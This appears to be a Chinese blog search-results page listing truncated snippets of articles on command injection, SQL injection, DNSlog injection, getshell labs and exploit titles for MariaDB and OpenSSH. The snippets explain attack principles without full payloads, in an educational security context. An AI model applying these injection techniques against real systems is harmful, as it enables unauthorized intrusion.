  • #命令注入攻击(Command Injection) 黑客通过利用HTML代码输入机制缺陷 (例如缺乏有效验证限制的表格域)来改变网页的动态生成的内容。 从而可以使用系统命令操作,实现使用远程数据来构造要执行的命令的操作。 PHP...
  • DNSlog注入原理

    千次阅读 2021-04-20 14:03:43
    DNSlog注入原理及实验 遵守我国网络安全法,仅用于渗透测试交流学习。 DNS解析过程 用户输入域名,浏览器知道是域名,然后通过DNS解析为IP地址,最后浏览器通过IP地址访问服务器。IP地址与域名是应是一对多映射的...
  • 浅谈“命令注入

    2020-05-13 22:47:07
    Command Injection,即命令注入攻击,是指由于Web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至Web应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法...
  • Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。 PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都...
  • 什么是命令注入漏洞

    千次阅读 2019-08-11 21:56:26
    web应用程序有时需要调用一些系统命令的函数,如PHP中的system,exec,shell-exec等等,当用户能够控制这些函数中的参数时,就可以将恶意参系统命令拼接到正常命令中,从而造成命令注入攻击 漏洞形成需要同时满足以下三个...
  • GO语言学习——用beego框架搭建WEB安全小系统(4)命令注入与XML注入
  • SQL注入原理

    2019-03-17 21:22:14
    一、SQL注入原理 SQL注入就是把SQL命令插入到Web表单然后提交到所在页面请求(查询字符串),从而达到欺骗服务器执行恶意的SQL命令。 它是利用现在已有的应用程序,将SQL语句插入到数据库中执行,执行一些并非按照...
  • 利用命令注入getshell

    2021-03-17 19:30:48
    利用命令注入getshell 靶机ip:192.168.41.129 kali:192.168.41.128 任务:靶机存在命令注入漏洞,获取靶机权限。 漏洞原理 命令执行直接调用操作系统命令。其原理是,在操作系统中,“&、|、I都可以作为命令...
  • 原理 服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器。 靶机 metasploitable2 DVWA ( mysql 数据库) 注入类型分类 主要分为 数字型 字符型 基于布尔注入 and 和 or ...
  • Istio 注入原理

    千次阅读 2020-09-21 09:43:51
    Istio通过注入边车使得本身的应用获取了一些高级能力,是如何完成边车的注入的呢? 注入方式 手动注入 - 针对具体的一个资源对象 工作原理: 通过改写yaml文件植入Istio-proxy容器,以及init-container用于修改...
  • 信息 Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution Date: 03/18/2021 Exploit Author: Central InfoSec Version: MariaDB 10.2 before 10.2.37 10.3 before 10.3.28 ...
  • 代码注入是指攻击者通过网站类型注入相应的代码,这个代码以当前网站用户的权限执行系统命令,在高级事件中,攻击者可能溢出来提权导致整个web服务器的沦丧。
  • OpenSSH_8.3-命令注入漏洞攻击与修复

    千次阅读 多人点赞 2020-10-23 12:05:08
    OpenSSH_8.3及以下-命令注入漏洞攻击与修复 2020年6月9日发现漏洞,2020年7月18日公开漏洞。 攻击原理 使用SCP中远程功能进行命令注入。 漏洞复现要求 OpenSSH版本 =<8.3p1 ssh连接密码 攻击环境 攻击方:kali:...
  • SQL注入原理以及预防方案

    千次阅读 2020-06-25 20:26:48
    1、什么时SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的...2、SQL注入原理 当我看到上面说什么是SQL注入时,我表示我
  • ​ 代码注入是针对Web应用程序的主流攻击技术之一,在OWASP公布的TOP10(十大安全漏洞列表)名列前茅,所以SQL注入漏洞是不容小觑的,要深入了解其原理及防御手段。 在榜单中,A1注入injection:将不信任的数据作为...
  • Mybatis防止sql注入原理

    千次阅读 2018-11-02 10:49:59
    SQL 注入是一种代码注入技术,用于攻击数据驱动的应用,恶意的SQL 语句被插入到执行的实体字段中(例如,为了转储数据库内容给攻击者)。[摘自] SQL注入 - 维基百科SQL注入,大家都不陌生,是一种常见的攻击方式。...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 48,428
精华内容 19,371
关键字:

命令注入的原理